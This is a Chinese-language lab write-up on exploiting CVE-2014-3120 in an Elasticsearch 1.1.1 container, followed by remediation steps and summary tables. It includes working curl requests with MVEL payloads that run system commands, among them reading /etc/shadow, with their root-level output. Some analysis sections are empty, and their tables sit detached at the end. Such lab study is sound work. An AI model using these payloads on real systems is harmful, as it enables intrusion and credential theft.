从环境中正在运行的内容开始。我们列出所有活动容器:
docker ps

结果: 容器 p1/lab10:latest 正在运行,对外暴露 2 个端口:
| 端口映射 | 协议 |
|---|---|
0.0.0.0:9200 → 9200/tcp | HTTP(需验证) |
0.0.0.0:9300 → 9300/tcp | 未知 |
初步观察: 端口 9200 和 9300 通常被认为是 Elasticsearch 的默认端口。然而,我们不能仅凭端口号下结论——许多其他服务也可以绑定到任意端口。
⇒ 我们直接对每个端口执行 curl 以验证实际运行的服务。
curl -i http://192.168.3.137:9300/

响应分析:
curl: (52) Empty reply from server评估: 服务器接受了 TCP 连接(未拒绝连接),但 未使用 HTTP 协议响应。这符合 Elasticsearch Transport 协议 在 端口 9300 上的行为——一种用于集群节点间通信的二进制协议,非 HTTP。
⇒ 思路: 端口 9300 使用二进制协议 → 无法通过 curl/浏览器直接利用。转向检查 端口 9200——HTTP REST API 端口。
curl -i http://192.168.3.137:9200/

响应分析:
攻击面评估:

⇒ 思路: Elasticsearch 1.1.1 默认启用 动态脚本——允许客户端在搜索查询中发送脚本(MVEL 表达式)供服务器执行。在没有沙箱或适当验证的情况下,攻击者可以注入恶意脚本以 执行系统命令。下一步:验证目标上动态脚本是否确实处于活动状态。
Elasticsearch 支持 脚本 功能——允许客户端在搜索请求中发送脚本(数学或逻辑表达式),供服务器在处理结果时执行。在 Elasticsearch 1.x 中,此功能的默认引擎是 MVEL(MVFLEX Expression Language)。
在 1.2 版本之前 的 Elasticsearch 中,动态脚本 默认启用(script.disable_dynamic: false)。这意味着:
_search API 中的 script_fields 参数发送 任意脚本java.lang.Runtime.getRuntime().exec() 来 执行系统命令script_fields 的工作原理当发送带有 script_fields 的搜索请求时,Elasticsearch 将:
_search API 接收 JSON 请求script_fields 字段 → 找到要执行的 script在 Java 中,执行系统命令最常见的方式是:
Runtime.getRuntime().exec("command");
MVEL 作为一种 完全能访问 Java 类 的表达式语言,允许直接调用:
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
各部分解释:
⇒ 思路: 通过 Elasticsearch,RCE 的 输出直接返回在响应中——无需重定向到文件再读回。这使得漏洞利用更清晰、验证更快。
在确定目标为 Elasticsearch 1.1.1 后,下一步是验证 动态脚本 是否确实启用。
CVE-2014-3120 利用了 Elasticsearch 允许客户端在 _search 请求中发送脚本这一事实。如果脚本被服务器执行,攻击者可以将无害表达式替换为调用 Java 运行时 以执行系统命令的有效载荷。
首先,我们创建一个测试文档,以确保查询至少有一个匹配结果。如果没有文档匹配,script_fields 将不会被评估。
curl -s -X POST 'http://192.168.3.137:9200/test_index/test_type/1' \
-H 'Content-Type: application/json' \
-d '{"name":"test"}'
然后刷新索引:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_refresh'
接下来,我们发送一个包含无害 MVEL 表达式的 _search 请求,并使用 script_fields:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {
"match_all": {}
},
"script_fields": {
"test": {
"script": "1+1"
}
}
}'

我们发送脚本 "1+1",服务器返回结果 2。这证明了 Elasticsearch 不仅接收了 _search 请求,还在服务器端执行了动态脚本。
⇒ 动态脚本 在目标上处于活动状态。
由于目标是 Elasticsearch 1.1.1(早于 1.2),这符合 CVE-2014-3120 的利用要求:1.2 版本之前的 Elasticsearch 默认启用动态脚本,允许远程攻击者通过搜索请求执行 MVEL 表达式/Java 代码。
我们已经通过无害表达式 "1+1" 返回 [2] 验证了 script_fields 被 Elasticsearch 在服务器端执行。
这证明了目标不仅允许标准搜索,还允许客户端在 _search 处理过程中发送 MVEL 脚本 供服务器评估。
对于 CVE-2014-3120,关键风险在于 Elasticsearch 1.1.1 中的 MVEL 可以访问 Java 类。因此,攻击者可以发送调用 Java 运行时的脚本,而不是发送 "1+1" 这样的数学表达式:
Runtime.getRuntime().exec("command")
这是标准的 Java API,用于创建一个新进程并在操作系统上执行命令。
_search API
→ script_fields
→ MVEL 表达式
→ Java 运行时
→ Runtime.getRuntime().exec("command")
→ getInputStream()
→ Scanner 读取 stdout
→ 结果返回到 JSON 响应中
RCE 载荷:
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {}
}
}
},
"script_fields": {
"exploit": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

载荷分解:
结果:
响应返回包含 id 命令输出的 fields.exploit 字段:
"exploit": [
"uid=0(root) gid=0(root) groups=0(root)\n"
]
分析:
载荷成功通过 script_fields 中的 MVEL 脚本调用了 Runtime.getRuntime().exec("id")。响应返回了 id 命令的输出,这证明了命令已在服务器端执行。
结果 uid=0(root) gid=0(root) groups=0(root) 表明容器内的 Elasticsearch 进程以 root 权限运行。
确认 RCE 后,必须通过尝试读取敏感文件来验证实际权限:
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {}
}
}
},
"script_fields": {
"shadow_test": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/shadow\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

观察结果:
响应返回了 /etc/shadow 文件的内容:
root:*:17728:0:99999:7:::
daemon:*:17728:0:99999:7:::
bin:*:17728:0:99999:7:::
...
分析:
/etc/shadow 是 Linux 中的敏感系统文件,通常只有 root 用户或具有同等权限的进程才能读取。上一步中,id 命令返回:
uid=0(root) gid=0(root) groups=0(root)
这一步通过实际行为进一步确认:RCE 载荷能够成功读取 /etc/shadow。
⇒ 容器内的 Elasticsearch 以 root 权限 运行。
⇒ 影响不仅限于典型命令执行,而是 容器内具有 root 权限的 RCE。
注意:此处的 root 权限是指 Docker 容器内的 root。在没有容器以特权模式运行、挂载 Docker 套接字或挂载主机敏感卷的证据时,我们不能断定攻击者拥有主机上的 root 权限。
RCE 已确认。我们继续收集系统信息以评估范围。
在确认具有 root 权限的 RCE 后,我们通过 MVEL 载荷执行命令 ls -la / 来观察目标内部的文件系统:
curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {"filtered": {"query": {"match_all": {}}}},
"script_fields": {
"rootfs": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"ls -la /\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

结果: 响应在 rootfs 字段中返回了 / 目录的内容。
分析:
ls -la / 的输出出现在 JSON 响应中,这证明了 命令已通过 RCE 在目标上执行。诸如 docker-entrypoint.sh、elasticsearch 目录以及 docker-java-home 符号链接 等文件表明,被侵入的环境是运行 Elasticsearch 的容器。
⇒ 攻击者可以以 root 权限列出容器内的文件系统。
由于容器没有 /sbin/ifconfig 二进制文件,我们直接读取 /proc/net/route。该文件不需要外部工具,并提供了容器的路由表。
curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {"filtered": {"query": {"match_all": {}}}},
"script_fields": {
"route": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /proc/net/route\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

分析:
结果显示容器具有接口 eth0,并位于 Docker 网络 172.19.0.0/16 内。默认网关为 172.19.0.1。
这证明了容器通过 Docker 桥接网络具有内部网络连接。由于攻击者已在容器内拥有 root 权限的 RCE,如果网络策略允许,他们理论上可以继续检查同一 Docker 网络中的其他主机/服务。
然而,该输出 仅证明了路由级别的网络可见性,而非成功的横向移动。断定横向移动需要进一步的证据,例如成功扫描另一台主机、连接到内部服务或从另一个网络获取资源。
基于分析过程中收集的证据,目标在端口 9200 上运行 Elasticsearch 1.1.1。该版本早于 1.2,属于 CVE-2014-3120 的影响范围。
该漏洞源于 1.2 版本之前的 Elasticsearch 默认启用 动态脚本,允许客户端通过搜索请求提交 MVEL 脚本。在本实验中,该功能通过无害表达式 "1+1" 得到确认,返回结果 [2]。
随后,MVEL 载荷调用了:
Runtime.getRuntime().exec("id")
响应返回:
uid=0(root) gid=0(root) groups=0(root)
这证明了攻击者可以通过 Elasticsearch 执行系统命令。此外,载荷成功读取了 /etc/shadow,确认了执行权限为容器内的 root。
1. 升级 Elasticsearch 至较新版本
将 Elasticsearch 升级至 >= 1.2.0(最低要求),或理想情况下升级到当前支持的版本(8.x)。从版本 1.2 开始,动态脚本 默认禁用。
2. 立即禁用动态脚本(如果无法升级)
在 elasticsearch.yml 中添加以下内容:
script.disable_dynamic: true
修改后重启 Elasticsearch。这将完全禁用客户端在搜索请求中提交脚本的能力。
3. 不要将 Elasticsearch REST API 暴露给不可信网络
Elasticsearch 在 1.x 版本中没有默认认证。如果必须暴露,应将其置于带有认证的反向代理之后,或仅绑定到 127.0.0.1。
4. 启用认证和加密
现代 Elasticsearch 版本(7.x+)支持内置安全功能(认证、TLS)。如果升级,启用安全功能:
xpack.security.enabled: true
xpack.security.transport.ssl.enabled: true
5. 使用防火墙限制访问
仅允许受信任的 IP 访问端口 9200 和 9300。不要将其 暴露 到互联网或整个内部网络。
6. 以低权限用户运行 Elasticsearch
不要以 root 用户运行 Elasticsearch。创建一个具有最小权限的专用 elasticsearch 用户。这是官方最佳实践。
| 字段 | 值 | 含义 |
|---|
name | "Rage" | Elasticsearch 节点名称(随机漫威角色名——早期 ES 版本的默认行为) |
version.number | "1.1.1" | 极其古老的版本——2014年4月发布 |
build_timestamp | "2014-04-16T14:27:12Z" | 构建于2014年 |
lucene_version | "4.7" | Lucene 4.7——旧版索引引擎 |
tagline | "You Know, for Search" | Elasticsearch 的特征签名语句 |
| 部分 | 说明 |
|---|
import java.io.* | 导入 Java IO 类 |
Runtime.getRuntime() | 获取 Java 运行时实例 |
.exec("id") | 执行 shell 命令 id |
.getInputStream() | 检索进程的输出流 |
new Scanner(...).useDelimiter("\\A").next() | 读取整个输出作为字符串 |
| 部分 | 目的 |
|---|
"size": 1 | 将结果限制为1个文档 |
"query" → "match_all" | 匹配所有文档(要求在索引中至少存在1个文档) |
"script_fields" → "exploit" | 定义执行 MVEL 脚本的计算字段 |
"script": "import java.io.*; ..." | 执行 id 命令并返回输出的 MVEL 表达式 |
| 标准 | 评估 | 详情 |
|---|
| CVE | CVE-2014-3120 | Elasticsearch 动态脚本 RCE |
| 受影响服务 | Elasticsearch | REST API 暴露在端口 9200 |
| 版本 | 1.1.1 | 早于 1.2,属于受影响版本 |
| 认证 | 实验中不需要 | REST API 直接响应,无需凭证 |
| 利用条件 | 动态脚本启用 | 通过脚本 "1+1" 返回 [2] 确认 |
| 获取的权限 | 容器内 root | id 返回 uid=0(root) |
| 影响 | 非常高 | RCE、读取敏感文件、列出文件系统、收集用户/网络详细信息 |
| 范围 | 容器 | 尚无主机被攻陷的证据 |
| 横向移动 | 有待进一步验证 | 容器通过 eth0 在 Docker 网络 172.19.0.0/16 中存在路由 |